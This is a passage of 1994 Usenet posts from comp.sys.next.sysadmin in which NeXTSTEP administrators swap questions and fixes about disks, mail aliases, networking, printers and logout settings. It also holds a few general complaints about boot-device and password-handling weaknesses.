Newsgroups: comp.sys.next.sysadmin
Subject: [Q] Logout Panel
Date: 20 Mar 1994 14:45:05 GMT
Organization: Dept. of Computer & Information Science, NCTU, Taiwan
Message-ID: <2mhnhh$gr9@news.cis.nctu.edu.tw>
Sorry, I am a newer to NS, and we are using NeXTSTEP/FIP 3.2
When logging out, the system prompt "Cancel", "Power off" & "Logout"
for everyone.
Many users choose the "Power off", which they may think it is a good
habit, but that really TROUBLE us. *sigh*
Would anyone be so kind to tell me how to prevent users from shutting
down the system but root ??
--
Dai-Woei Yan | Dept. of Computer & Information Science
is81084@cis.nctu.edu.tw | National Chiao-T'ung University, Taiwan
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
From: bud@slip4.weeg.uiowa.edu (Jeff Fields)
Subject: Help with Quantum PD1800S on Turbo Color
Message-ID: <1994Mar20.234351.25342@news.weeg.uiowa.edu>
Sender: news@news.weeg.uiowa.edu (News)
Organization: University of Iowa, Iowa City, IA, USA
Distribution: na
Date: Sun, 20 Mar 1994 23:43:51 GMT
I'm having trouble formatting and putting a filesystem on my new
Quantum PD1800S. It's a 1.8 gig SCSI drive. Here is what I know:
Termination: This isn't it...the the drive has active termination, and
it's the only external SCSI device in the chain.
SCSI ID: Factory set to 6. This isn't it.
SCSI1/SCSI2: According to the program 'sdformat', this is indeed a SCSI2
device, but the dealer says that the drive should auto-sense the signals
from the SCSI bus and adapt accordingly. Also, sdformat did seem to
succeed in doing a low-level format, but afterward, BuildDisk still
refuses to format the disk.
Disktab: One person told me that I'd need an /etc/disktab entry. Of
course,
the info in /etc/disktab says that BuildDisk is now able to auto-detect
SCSI geometry, so I can't see why a disktab entry is needed. Nevertheless,
this seems to be the only option left.
---
So. Could some kind soul please send me info on how to get this thing
up and running, and/or provide me with the info I need to write a
disktab entry? I'd be VERY thankful...
Jeff Fields
jfields@heinous.isca.uiowa.edu
University of Iowa
(please email me any info...I'll summarize to the group)
From: perkins@sidney.cps.msu.edu (Stephen Perkins)
Newsgroups: comp.sys.next.sysadmin
Subject: newaliases
Date: 21 Mar 1994 03:26:09 GMT
Organization: Michigan State University
Distribution: world
Message-ID: <2mj44h$m72@msuinfo.cl.msu.edu>
Yep... checked NextAnswers, FAQ, and digital librarian first! :)
If this is an FAQ I couldn't find an answer in the usual places so
please no flames.
I'm having trouble with the 'newaliases' command. First, there was no
/etc/aliases file. It was in /etc/sendmail/aliases (as man pages said
it would be). However, 'newalises' complained about the missing file so
I symbolically linked /etc/sendmail/aliases to /etc/aliases. Now I get
errors like:
/etc/aliases: line 14: cannot alias non-local names
/etc/aliases: line 18: cannot alias non-local names
/etc/aliases: line 19: cannot alias non-local names
/etc/aliases: line 23: cannot alias non-local names
for any alias I try to define. I'm using the supplied alias file as
included below:
---------------------------------------------
# @(#)aliases 0.8 88/10/31 NeXT
##
# Aliases can have any mix of upper and lower case on the left-hand
side,
# but the right-hand side should be proper case (usually lower)
#
# >>>>>>>>>> The program "newaliases" will need to be run
after
# >> NOTE >> this file is updated for any changes to
# >>>>>>>>>> show through to sendmail.
#
##
# Following alias is required by the mail protocol, RFC 822
# Set it to the address of a HUMAN who deals with this system's mail
problems.
Postmaster: root
# Alias for mailer daemon; returned messages from our MAILER-DAEMON
# should be routed to our local Postmaster.
MAILER-DAEMON: postmaster
MAILER-AGENT: postmaster
# Aliases to handle mail to programs or files, eg news or vacation
# decode: "|/usr/bin/uudecode"
nobody: /dev/null
# Sample aliases:
# Alias for distribution list, members specified here:
#staff:wnj,mosher,sam,ecc,mckusick,sklower,olson,rwh@ernie
# Alias for distribution list, members specified elsewhere:
#keyboards: :include:/usr/jfarrell/keyboards.list
# Alias for a person, so they can receive mail by several names:
#epa:eric
#######################
# Local aliases below #
#######################
---------------------------------------------
Would somebody please tell me what trivial mistake I'm making?
TIA,
Steve
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Stephen Perkins |
Department of Computer Science | perkins@cps.msu.edu
Michigan State University |
From: wjs@manatee.omnigroup.com (William Shipley)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: Help! Can't write boot sector for NS/Intel machine...
Date: 20 Mar 1994 20:19:52 -0800
Organization: Omni Development, Inc.
Message-ID: <2mj798$6af@manatee.omnigroup.com>
We used BuildDisk on a 3.2 NS/Intel machine to make a SCSI disk for another
NS/Intel machine, but when we try to boot from this new disk, the SCSI
controller complains about no "16H" or something. (Sorry for the
vagueness; the disk is no longer in that machine.)
The SCSI controller is an Adaptec 1542c. I assume that the problem is
that the BIOS is looking for a boot sector it recognizes, and BuildDisk
didn't write the one that asks, "n for nextstep, d for dos..."
Anyone know what to do to make a bootable SCSI NS/Intel disk?
We're trying to make OmniWeb and OmniImageFilter work better on Intel
machines, and actually having a working machine would sure help.
Thanks,
-Wil Shipley
Omni Development, Inc.
Newsgroups: comp.sys.next.sysadmin
From: cedman@princeton.edu (Carl Edman)
Subject: Re: [Q] Logout Panel
In-Reply-To: is81084@cis.nctu.edu.tw's message of 20 Mar 1994 14:45:05 GMT
To: is81084@cis.nctu.edu.tw ( Dai-Woei Yan)
Message-ID: <CEDMAN.94Mar20215537@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <2mhnhh$gr9@news.cis.nctu.edu.tw>
Date: Mon, 21 Mar 1994 02:55:37 GMT
In article <2mhnhh$gr9@news.cis.nctu.edu.tw> is81084@cis.nctu.edu.tw ( Dai-Woei Yan) writes:
When logging out, the system prompt "Cancel", "Power off" &
"Logout" for everyone.
Many users choose the "Power off", which they may think it is a
good habit, but that really TROUBLE us. *sigh*
Would anyone be so kind to tell me how to prevent users from
shutting down the system but root ??
Will users ever learn that workstations aren't supposed to be turned
off ? Fortunately the answer to your question is not the same.
While you can't really prevent anyone who can physically access the
hardware from rebooting the machine (or stealing all the data for that
matter) -- after all if they are really determined they can just pull
the plug -- this dwrite when executed as root should solve most of
your inadvertent shutdown problems.
dwrite loginwindow PowerOffDisabled YES
Carl Edman
Newsgroups: comp.sys.next.sysadmin
From: gvdl@obelix.apana.org.au
Subject: NS/Intel Filling System buffers
Message-ID: <Cn04It.13y@obelix.apana.org.au>
Keywords: NS, NS/Intel, File system, buffers
Sender: gvdl@obelix.apana.org.au (Godfrey Martin van der Linden)
Date: Mon, 21 Mar 1994 06:25:41 GMT
Is there any way of increasing the amount of buffers allocated to the disk
cache in NS/Intel. I know that it was possible under NS 68k. However I
can't find any documentation regarding it on the write boxes.
Thanks in advance
Godfrey van der Linden
Newsgroups: comp.sys.next.sysadmin
Subject: Next version of top
Message-ID: <1994Mar21.145736.170878@eros.embl-heidelberg.de>
From: grindrod@eagle.NMR.EMBL-Heidelberg.DE (David Grindrod)
Date: 21 Mar 94 14:57:34 +0100
Distribution: world
Organization: European Molecular Biology Laboratory
Has anyone compiled a version of top for the NeXT machines. Or does anyone know of alternative software to graphically show the cpu usage of processes on NeXT machines.
Thanks
Dave
--------------------------------------------------------------------
David Grindrod NMR System Manager
EMBL, Heidelberg.
Email: grindrod@EMBL-Heidelberg.DE
Newsgroups: comp.sys.next.sysadmin
From: ijeff@jasper.maeng
Subject: Re: ** Security Hole ** Can't restrict boot options on NS Intel
Content-Type: text/plain
Message-ID: <ijeff.94Mar2194049@jasper.maeng>
Sender: news@cunews.carleton.ca (News Administrator)
Organization: Carleton University
References: <scratch.763865283@arcturus.sce.carleton.ca> <2mcigb$l91@digdug.pencom.com>
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Distribution: fj
Date: Mon, 21 Mar 1994 14:40:49 GMT
It seems that Craig has not been well enough understood on the security issues he has raised.
The problem is not that the GX boots from floppy immediately after a reset but that the NeXT boot program prompts for alternative boot devices.
This means that you can't really disable floppy boot since the boot program loaded from the internal disk allows you to choose from just about any device on the system. What would raise the security level to a reasonable level is a boot program that **does not** ask what devices or partitions you would like to boot from. No amount of BIOS security is going to help you after that boot program starts running!
Any legitimate maintenance could be done by floppy boot with the correct hardware password.
---
Ian Jefferson
ijeff@ccs.carleton.ca
ijeff@computeractive.on.ca
NeXT mail please!
Voice 613 788-2600 ext 5636
From: mickey@uunet.uu.net (Mickey Lasky)
Newsgroups: comp.sys.next.sysadmin
Subject: Printer configurations
Date: 21 Mar 1994 11:12:40 -0500
Organization: UUNET Technologies, Inc. (Earth offices)
Distribution: world
Message-ID: <2mkh1o$25h@shiva.UU.NET>
Keywords: printers panasonic
I just upgraded to NS 3.2 for black hardware and, typically, did not
bother to backup my printer stuff. I am unable to remember/figure out how to get
it to work again. I have a Panasonic KXP-1123 printer running either Epson or
IBM postscript emulation. I have the convertor and basically, it worked just fine
in the Pre-NS3.2 days. Anyone have any experience setting them up? There are a lot
more printer options to choose from now and I can't figure out which one is the
one that I want... thanks in advance!
=====================================================
Mickey Lasky uunet!mickey
Technical Support Rep. mickey@uunet.uu.net
UUNET Technologies 703-204-8000
Falls Church, VA. 202-424-0453
=====================================================
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
From: ijeff@ccs.carleton.ca
Subject: Re: Help with Quantum PD1800S on Turbo Color
Content-Type: text/plain
Message-ID: <ijeff.94Mar21113554@jasper.maeng>
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Organization: Carleton University
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Date: Mon, 21 Mar 1994 16:35:54 GMT
I doubt very much if you will get it working at all. I spent about 15 hours messing around with th1800s.
On my Oh-30 cube, with an internal Maxstor, I could format the drive no problem. On any 040 machine with Seagate disks attached internaly or externaly there was no way I could get the drive to work. My guess is that you have either the ST1480 400MB internal drive or the 250 MB seagate drive (model ???) on your Turbo machine.
I tried ST1200, ST1480, ST766, ST1650 drives in combination on about 3 or 4 machines.
Any of these machines would work OK provided that *only* the 1800s was connected. I called Quantum to no avail, although there is one unmarked jumper near the SCSI header that controls terminating power options in addition to the termination on/off jumper.
My suggestion is to call Quantum and tell them that it dosn't work. Then go out and purchase a Seagate ST11900 drive for slightly more money, slightly faster operation, and slightly less capacity.
If anyone can get an 1800s to work with a Seagate drive I'd like to hear about it. It *seems* to be a nice drive.
---
Ian Jefferson
ijeff@ccs.carleton.ca
ijeff@computeractive.on.ca
NeXT mail please!
Voice 613 788-2600 ext 5636
Newsgroups: comp.sys.next.sysadmin
From: alberto@parsec.mixcom.com (Alberto Ricart)
Subject: Re: A better way to use Installer app... (Vendors please read)
Message-ID: <1994Mar21.204436.959@parsec.mixcom.com>
Organization: SmartSoft, Inc.
References: <2m72oo$3oc@steffi.demon.co.uk> <1994Mar17.032514.5453@stone.com>
Date: Mon, 21 Mar 1994 20:44:36 GMT
At SmartSoft we have been doing something similar since 3.0 days.
In order to maintain compatibility with 3.0 machines that do not contain
gzip, we have been bundling a small program called funzip.
This obviously only works for packages that you can fit in one disk.
Funzip is a freely distributable filter that understands gzip and
zip file compression formats.
Our packaging system has been streamlined with each subsequent
release. The current package looks something like this:
total 1159
-rw-rw-r-- 1 alberto 24576 Mar 7 18:43 StayInTouch.bom
-r--r--r-- 1 alberto 788 Mar 7 18:43 StayInTouch.info
-rwxrwxr-x 1 alberto 144 Mar 7 18:45 StayInTouch.post_install*
-rwxrwxr-x 1 alberto 293 Mar 7 18:45 StayInTouch.pre_install*
-rw-rw-r-- 1 alberto 51 Mar 7 18:43 StayInTouch.sizes
lrwxrwxrwx 1 alberto 22 Mar 7 18:45 StayInTouch.tar.Z ->
/tmp/StayInTouch.tar.Z@
-r--r--r-- 1 alberto 1086416 Mar 7 18:43 StayInTouch.tar.gz
-r--r--r-- 1 alberto 2476 Mar 7 18:43 StayInTouch.tiff
-rwxrwxr-x 1 alberto 57344 Mar 7 18:45 funzip*
In contrast, a normal package would require additional space
that would force us to distribute 2 disks. Which means twice
as many things to do. I have a set of scripts that automate
the creation of the packages, that I can post if anyone is
interested.
The scripts do this:
StayInTouch.pre_install
#!/bin/csh -f
cd $1
if (-f StayInTouch.tar.gz) then
$1/funzip StayInTouch.tar.gz | compress -f > /tmp/StayInTouch.tar.Z
if (-f /tmp/StayInTouch.tar.Z) then
echo "OK"
else
echo "FAILED"
echo "The /tmp directory must be writable for installation to work."
endif
else
echo "OK"
endif
StayInTouch.post_install
#!/bin/csh -f
cd $1
if (-f /tmp/StayInTouch.tar.Z) then
rm /tmp/StayInTouch.tar.Z
echo "OK"
else
echo "OK"
endif
else
echo "OK"
endif
Hope this helps,
--
Alberto Ricart
SmartSoft, Inc.
2220 E. Linnwood Avenue, Milwaukee, WI 53211-3321
From: mlescoez@ny.psca.com (Mark Paul LeScoezec)
Newsgroups: comp.sys.next.sysadmin
Subject: INN under NS 3.2..
Date: 21 Mar 1994 16:45:33 -0500
Organization: The Ohio State University
Sender: root@magnus.acs.ohio-state.edu
Message-ID: <9403212142.AA20602@ny.psca.com>
Dear techies,
Could you send me information regarding running INN under NS3.2 Moto?
Would you recommend it over C-News? What kind of configuration
problems did you run into? I have downloaded it and am contemplating
replacing our NNTP C-News based connection.
Please respond in email and I will summarize.
thanks
mark
---
Mark LeScoezec Paradigm Systems
System Administrator (212)850-8135
ml@ny.psca.com 666 Third Ave
NeXTmail/MIME okay NY, NY 10017
From: rgc@cs.umd.edu (Ross Garrett Cutler)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.bugs
Subject: Parallel port problems on ALR Evolution V
Date: 21 Mar 1994 17:22:12 -0500
Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742
Distribution: world
Message-ID: <2ml6mk$qen@dorito.cs.umd.edu>
Hi,
I have an ALR Evolution V (Pentium) with the following configuration:
ATI GUP/2MB VRAM
Adaptec 1542C
660 MB Fujitsu SCSI HD
The system works nicely, except for the fact that the parallel port doesn't
get recognized:
Mar 14 19:35:05 localhost mach: IOParallelPort not allocated: controller not det
ected at address 0x378
Does anyone out there with an ALR Evolution V with a similar setup have
a working parallel port?
BTW, the parallel port works fine under Windows NT and DOS. There are
no apparent hardware conflicts. I'm using NS/I 3.2 and the latest Adaptec
drivers. The parallel port really is at 0x378h (I called ALR to verify).
Also, the printer is online when I boot the computer (as suggested in
NeXTanswers).
NeXT is unable to help me (unless I pay their $120/hour fee).
NeXT does not provide the source for the parallel port driver, and the
tech. support guy I talked to said that they couldn't give it to me
so that *I* could try and fix their bug.
Help! Ross.
--
Ross Cutler
University of Maryland, College Park
Internet: rgc@cs.umd.edu
From: mcullen@symantec.com (Michael Cullen)
Newsgroups: comp.sys.next.sysadmin
Subject: ISDN on a NeXT slab running version 3.2
Date: 22 Mar 1994 01:04:48 GMT
Organization: Symantec Corporation
Sender: -Not-Authenticated-[8925]
Message-ID: <2mlg7gINNhqm@grumpy.symantec.com>
Xdisclaimer: No attempt was made to authenticate the sender's name.
I hope this isn't a beaten subject. I am having an ISDN line hooked up
to my house (provided by work). I have done some research and found
that for the pc, you have to go only with one vendor (digi or combonet
etc). What equipment is needed (NT1) and what do I have to have on
the other side of the line to make this work. Bear with me as this is
my first adventure into ISDN.
Michael
mcullen@symantec.com
From: anderson@macc.wisc.edu (Jess Anderson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: ISDN on a NeXT slab running version 3.2
Date: 22 Mar 1994 03:29:58 GMT
Organization: Division of Information Technology, UW-Madison
Message-ID: <2mlonm$2k0@news.doit.wisc.edu>
References: <2mlg7gINNhqm@grumpy.symantec.com>
In article <2mlg7gINNhqm@grumpy.symantec.com>,
Michael Cullen <mcullen@symantec.com> wrote:
>I hope this isn't a beaten subject. I am having an ISDN line hooked up
>to my house (provided by work). I have done some research and found
>that for the pc, you have to go only with one vendor (digi or combonet
>etc). What equipment is needed (NT1) and what do I have to have on
>the other side of the line to make this work. Bear with me as this is
>my first adventure into ISDN.
I have a Combinet. Works great.
--
[Jess Anderson % anderson@doit.wisc.edu % Network Engineering Technology Group]
[Systems Engineering Dept % Div of Information Technology % Univ of Wisconsin]
[The University is the medium, not the voice. Opinions herein are mine alone.]
[-----------------> Education begins with self-realization. <-----------------]
Newsgroups: comp.sys.next.sysadmin
From: cbradley@bozell.com (Chris Bradley)
Subject: Re: Slip, CSLIP and PPP
Message-ID: <1994Mar21.233509.25460@bozell.com>
Sender: news@bozell.com
Organization: Bozell, Jacobs, Kenyon & Eckhardt, Inc.
References: <2l47pm$17b@steffi.demon.co.uk>
Date: Mon, 21 Mar 1994 23:35:09 GMT
In article <2l47pm$17b@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert
Nicholson) writes:
[munch]
> Is that the next-ppp.tar archive?
>
> I tried that yesterday with absolutely no luck whatsoever. It looks
> like that was for 2.1 only.
>
> Has anybody tried MorningStar?
I've been using MorningStar's PPP for NEXTSTEP 3 for about a year now. Great
product; very reliable. No connection with MorningStar except as a happy
customer.
--
Chris Bradley | cbradley@bozell.com
Techno-Slave, with Many Masters | +1 214 830 2273 vox
Bozell, Jacobs, Kenyon & Eckhardt, Inc. | +1 214 830 2687 fax
Advertising and Public Relations | "Born ready"
From: mbecker@cs.uml.edu (Mark Becker)
Newsgroups: comp.sys.next.sysadmin
Subject: Help... need some with NS 2.1, Mathematica 1.2, et al. [ MEDIUM ]
Followup-To: comp.sys.next.sysadmin
Date: 22 Mar 1994 04:40:26 GMT
Organization: UMass-Lowell
Message-ID: <2mlsrq$gm3@ulowell.uml.edu>
Summary: Old '030 mono cube needs ..something.. some details.
Keywords: NextStep 2.1, Mathematica 1.2, systems stuff.
Hello *
About three weeks ago I was doing some work with Mma and WriteNow when
something in the system got sick and strange things started to happen.
When the strange things stopped, Mma had died been erased from the
display and /usr/adm/messages had accumulated about 200K worth of DPS
and Mma error messages. One particularly persistent error message from
Mathematica was:
*** hashtable: count differs after rehashing; probably indicates a
broken invarient: there are x and y such as isEqual(x, y) is TRUE but
hash(x) != hash (y)
And the Mma performance went from medium to ... bad ... that hashtable
error pops up for nearly every character typed.
Rebooting didn't help at all. Fsck reported the system clean, even
when run manually. Sums between the existing system and a backup
were equal; at least the Mathematica executables and 'obvious' libraries
weren't damaged.
Last Friday I did a backup of everything I wanted to save, booted from
floptical, and rebuilt the system. That got rid of the DPS errors. :-)
But Mma wouldn't start at all. Not even 'math'; both would thrash the
disk for a bit.. then return to the shell. No errors were reported.
This evening I opened the cube, pulled the battery, discharged the
capacitors with a meter-style multimeter, put everything back
together, and booted.
Mathematica now starts up.. but with that same hashtable error and
awful performance.
Questions:
1. Can someone clue me in to what is causing this error? Is there a
NeXTanswers archive somewhere that would go back to when this system
was current?
2. I have an odd feeling that maybe memory might be going bad. The cube
passes it's power on test.. but maybe a few locations in a SIMM
somewhere are going bad after heating. Then again, memory might be
good.. but something else is failing.
Did NeXT ever ship an off-line or bootable diagnostic for the cubes?
Any help would be appreciated.
Regards,
Mark
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From: jspears@weston.com (Wes Spears)
Subject: Transys PNI won't hold connection
Message-ID: <1994Mar21.203238.268@weston.com>
Sender: jspears@weston.com (Wes Spears)
Date: Mon, 21 Mar 1994 20:32:38 GMT
I have been able to establish a slip connection with Trans Sys PNI, but I
can never hold it for long. I guess the longest has been about 30
minutes. Inevitably, it dies. The errors that I get are problems with
the tty.
This is on a turbo slab with a Zyxel 1496e. I also have NXFax.
If anyone has had this same problem, and has found a solution, please let
me know.
Thanks
Wes
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From: gvdl@obelix.apana.org.au
Subject: [Q] raw input overrun
Message-ID: <Cn1or2.35r@obelix.apana.org.au>
Sender: gvdl@obelix.apana.org.au (Godfrey Martin van der Linden)
Date: Tue, 22 Mar 1994 02:40:13 GMT
Keywords: tty's, serial drivers, newby
Reply-To: gvdl@obelix.apana.org.au (Godfrey van der Linden)
Distribution: world
G'day
I'm sorry to bring this one up as I'm sure you are sick of this subject, I
haven't been able to find the c.s.n.s FAQ's yet so I don't know where else to
turn.
I did an enormous download this morning and got the following messages in my
Console Log.
Mar 22 06:58:35 obelix mach: tty481: raw input overrun
Mar 22 06:58:35 obelix mach: tty481: raw input overrun
Mar 22 06:58:37 obelix mach: tty481: raw input overrun
Mar 22 06:58:42 obelix mach: tty481: raw input overrun
Mar 22 06:58:43 obelix mach: tty481: raw input overrun
Mar 22 06:59:00 obelix mach: tty481: raw input overrun
Mar 22 06:59:01 obelix last message repeated 8 times
Mar 22 09:29:55 obelix mach: tty481: raw input overrun
Mar 22 09:30:33 obelix last message repeated 29 times
Mar 22 09:38:18 obelix mach: tty481: raw input overrun
Mar 22 09:38:21 obelix last message repeated 27 times
Mar 22 09:44:16 obelix mach: tty481: raw input overrun
Mar 22 09:44:19 obelix last message repeated 23 times
I've limited the modem to only 4800 baud with V42/V42bis as it is so I can't
see how I'm getting this problem.
I'm running a fairly generic 486/66 with NS3.2 and I do have a 16550 serial
chip. I just doesn't seem to cut the mustard. Does everybody else out there
suffer from the same problems using NS intel. In my DOS partition I can get
download rates of ~17000 baud, so I can't see the hardware being at fault.
Please, any help with this would be greatly appreciated, by me and also my UUCP
feed site!
Godfrey van der Linden
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From: schwett@netcom.com (Mark Schwettmann)
Subject: Re: Parallel port problems on ALR Evolution V
Message-ID: <schwettCn27Ar.Avu@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
References: <2ml6mk$qen@dorito.cs.umd.edu>
Date: Tue, 22 Mar 1994 09:20:51 GMT
Ross,
This sounds very similar to a problem I had with my Gateway System.
Try changing the Paralell port to LPT*2* in the CMOS setup.
It seems cheesy; but it worked for me.
I did this and NeXTStep prints fine; in fact so do NT, OS/2 and DOS, even
though the port has been remapped...
Hope this helps...
Mark
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From: djm4m@poe.acc.Virginia.EDU (David J. Messner)
Subject: Passwords echo on Telnet from PC to NeXT
Message-ID: <Cn1L44.51C@murdoch.acc.Virginia.EDU>
Sender: usenet@murdoch.acc.Virginia.EDU
Organization: University of Virginia
Distribution: na
Date: Tue, 22 Mar 1994 01:21:40 GMT
I'm hoping that someone out there has experienced this same
problem or might know how to fix it....
In our academic computing lab we have various PC's running
NCSA telnet (version???) Everything is fine when telnetting
to other UNIX machines, but for some reason when you telnet to
a NeXT machine, the passwords echo and the terminal acts
screwy. For obvious security reasons this is unacceptable.
We are running NS 2.1, but I have found that 3.1 machines have
the same problem. Note that a similar windows version of
Telnet works fine.
It would seem that the NeXTs think they are connected to a
'dumb' terminal when telnetting from the PC's (well... not
too far from the truth eh?). Is there any way to fix this???
Thanks in advance,
Dave
--
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Network Administrator/Programmer
Piedmont Virginia Community College, Charlottesville VA
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: INN under NS 3.2..
Date: 22 Mar 1994 09:24:15 -0000
Organization: me organised, that's a joke.
Message-ID: <2mmdfv$141@steffi.demon.co.uk>
References: <9403212142.AA20602@ny.psca.com>
ml@ny.psca.com wrote in comp.sys.next.sysadmin
>Dear techies,
>
>Could you send me information regarding running INN under NS3.2 Moto?
>Would you recommend it over C-News? What kind of configuration
>problems did you run into? I have downloaded it and am contemplating
>replacing our NNTP C-News based connection.
>
>Please respond in email and I will summarize.
>thanks
>mark
>---
>Mark LeScoezec Paradigm Systems
>System Administrator (212)850-8135
>ml@ny.psca.com 666 Third Ave
>NeXTmail/MIME okay NY, NY 10017
>
This all depends on you.
I run INN with slurp and it works very very well. It's relatively
trivial to set up. Somebody just has to send you a config.data.
There are already packages for Cnews/NNTP available. That might suit
somebody who hasn't the "patience" to compile the binaries themselves.
Go with INN. 1.4 works fine. You should grab my Perl MAB from
cs.orst.edu so that you can use innstat to check your configuration
once you've set up the /usr/local/news files.
Also be aware that INN by default uses different paths than C-News, so
keep that in mind if you are looking to do a straight swap.
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From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Slip, CSLIP and PPP
Date: 22 Mar 1994 09:25:34 -0000
Organization: me organised, that's a joke.
Message-ID: <2mmdie$161@steffi.demon.co.uk>
References: <2l47pm$17b@steffi.demon.co.uk> <1994Mar21.233509.25460@bozell.com>
cbradley@bozell.com wrote in comp.sys.next.sysadmin
>In article <2l47pm$17b@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert
>Nicholson) writes:
>[munch]
>> Is that the next-ppp.tar archive?
>>
>> I tried that yesterday with absolutely no luck whatsoever. It looks
>> like that was for 2.1 only.
>>
>> Has anybody tried MorningStar?
>
>I've been using MorningStar's PPP for NEXTSTEP 3 for about a year now. Great
>product; very reliable. No connection with MorningStar except as a happy
>customer.
>--
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I believe the beta for 3.2 isn't done yet though....
There are demos < 3.2 available on ftp sites.
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From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: A definite problem with dialupip.
Date: 22 Mar 1994 10:46:22 -0000
Organization: me organised, that's a joke.
Message-ID: <2mmi9u$1md@steffi.demon.co.uk>
Last year Louie acknowledge this problem.
When using dialupip sometimes (under what conditions I'm unsure of)
you will lock up all IP. Consequently all attempts to fetch anything
from /etc/passwd/nidump will block.
I would like to know specifically what causes this problem and how it
can be avoided. Often, I call my host via slip and I get into this
situation and this results in a timeout and wasted phonecall.
The timing of when I'm sending packets to my host and when the routing
is set up seems to be significant in creating this problem.
--
"Bitch" (Albert Finney, Audrey Hepburn)
"Bastard"
(Two for the Road, 1967)
(ASCII for text only messages)
From: M.Crawford@dcs.shef.ac.uk (Malcolm Crawford)
Newsgroups: comp.sys.next.sysadmin
Subject: Disk Quota-ing
Date: 22 Mar 1994 11:35:35 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9403221736.AA26463@dcs.shef.ac.uk>
I just picked this up from a UK NT (boo hiss!) mailing list -- it might be worth
NeXT taking note as well! :-)
Have fun,
mmalcolm.
Via: uk.ac.mailbase; Tue, 22 Mar 1994 17:22:20 +0000
From: Roger Horton <CMSARLH@pegasus.hud.ac.uk>
Organization: The University of Huddersfield HEC
To: windows-nt@mailbase.ac.uk, davegre@microsoft.com
Date: Tue, 22 Mar 1994 12:36:49 +0000
Subject: Re: Disk Quota-ing
Reply-To: r.l.horton@hud.ac.uk
X-List: windows-nt@uk.ac.mailbase
Dave,
YES, DISK QUOTAS ARE REQUIRED IN NTAS
We don't have NTAS for student based services *yet*, but it is an option that
we are considering at the moment for at least one major application. The
following comments are, therefore, based on my very limited knowledge of
the product.
Why?
----
If Microsoft is serious about enterprise systems it will have to provide
the management tools that we are used to having on "traditional" systems.
One such tool is required to control the use of disk space.
If we are to consider using NT in a service environment we need a disk quota
feature in the operating system. This is essential because:
1. It is the probably the only sensible way to effectively manage the disk
space in a service environment.
Users will utilise whatever disk space you give them. If it is not
limited then it creates serious system management problems where there
are many users. Without quotas one user can bring down the whole service
by filling a disk.
2. It allows us to be fair to our customers: they understand the need for
quotas and, in general, accept them.
3. It allows us to charge for disk usage, or pre-allocate a quota in a
service environment.
4. It allows us to monitor and control growth in the use of disk space.
What are we looking for?
-----------------------
Although a simple quota mechanism on a per user basis is acceptable, it
would be better if quotas could also be applied to workgroups; so that, for
example, a quota could be qiven to a whole class of students rather than to
individuals.
Any quota system ought to allow a user to temporarily exceed their quota,
rather than crash their application.
We should be able to interface the quota mechanism with application
sub-systems such as EMS/Touchdown, or replace it with the sub-system
mechanism. At the very least they should be able to co-exist on the same
server.
Larger system users need reporting tools to monitor the servers both in real-
time and after the event, also to collect data on server operating system
performance (disk space, I/O, cpu usage, memory usage) for trends analysis
and other capacity planning activities. But I digress....
I am sure that others on this list will suggest other mechanisms and
features from their experiences with "traditional" operating systems such as
Unix, Primos, VMS, VM/CMS, etc.
Alternatives?
-------------
Wherever a software manufacturer fails to provide tools and mechanisms, we
are likely to choose an alternative supplier or system that does provide what
we want. Otherwise we are faced with writing in-house additions and
modifications to these systems. This may be interesting to do, but isn't
good use of our scarce and expensive resources.
Perhaps NTAS can still learn from the "traditional" mainframe and
minicomputer systems that run "big" services. And there is Unix (tm)...
Roger Horton.
The University of Huddersfield.
(Disclaimer: The opinions expressed are entirely my own and may not reflect
those of my employer).
==============================================================================
>From: Dave Gregory >To: windows-nt@mailbase.ac.uk
>Date sent: Fri, 18 Mar 94 17:42:55 PST
>Subject: Disk Quota-ing
>Send reply to: Dave Gregory <davegre@microsoft.com>
>Well, I am back on the list (FOR A SHORT TIME).
>
>I hear people have asked about disk quota-ing now and again? I wonder
>if some people would drop me an email to the mailbase about
>
> why they need it,
>what they need,
>would they buy NTAS if it had DQ
>what might they do if it does not have DQ ?
>
>I will pick these up but I need this now!
>
>David Gregory - Higher Education
>
>
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From: kenw@well.sf.ca.us (Kenneth A. Worthy)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: TransSys DialUpIp on NS3.2??
Date: 22 Mar 1994 20:15:59 GMT
Organization: The Whole Earth 'Lectronic Link, Sausalito, CA
Message-ID: <2mnjlv$fv8@nkosi.well.com>
Has anyone used TransSys DialUpIP with NS3.2? I have tried to install this
recently, and it looks like /etc/ifconfig can't find the slip interface.
I figure maybe the loadable driver is not getting installed correctly.
This is the output of the rc.slip:
Begin SLIP configuration.
Configuring interface slip0
ifconfig: ioctl (SIOCGIFFLAGS): no such interface
Can't disable compression: SIOCBISSOFTFLAGS: No such device or address
etc.
Thanks,
Ken
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From: mikes@ceco.ceco.com (Michael Stepniczka)
Subject: Re: Shadow Passwords
Message-ID: <Cn32GL.G75@ceco.ceco.com>
Sender: root@ceco.ceco.com (Operator)
Organization: Commonwealth Edison Co.
References: <1994Mar7.153946.7673@Princeton.EDU>
Date: Tue, 22 Mar 1994 20:33:56 GMT
The security definitely is a bit behind the times. Having the NXHost
option allow file operations in the PS code and not having any sort of
shadow passwords definitely keeps me from recommending something like
NS as a better alternative than X in a corporate environment. If security
is an issue, NS is unfortunately not the way to go right now if you want
to use the display redirection feature.
Count me in as someone who would like to see this change.
Mike Stepniczka
mikes@ceco.ceco.com
From: kenw@well.sf.ca.us (Kenneth A. Worthy)
Newsgroups: comp.sys.next.sysadmin
Subject: Where's the console message log??
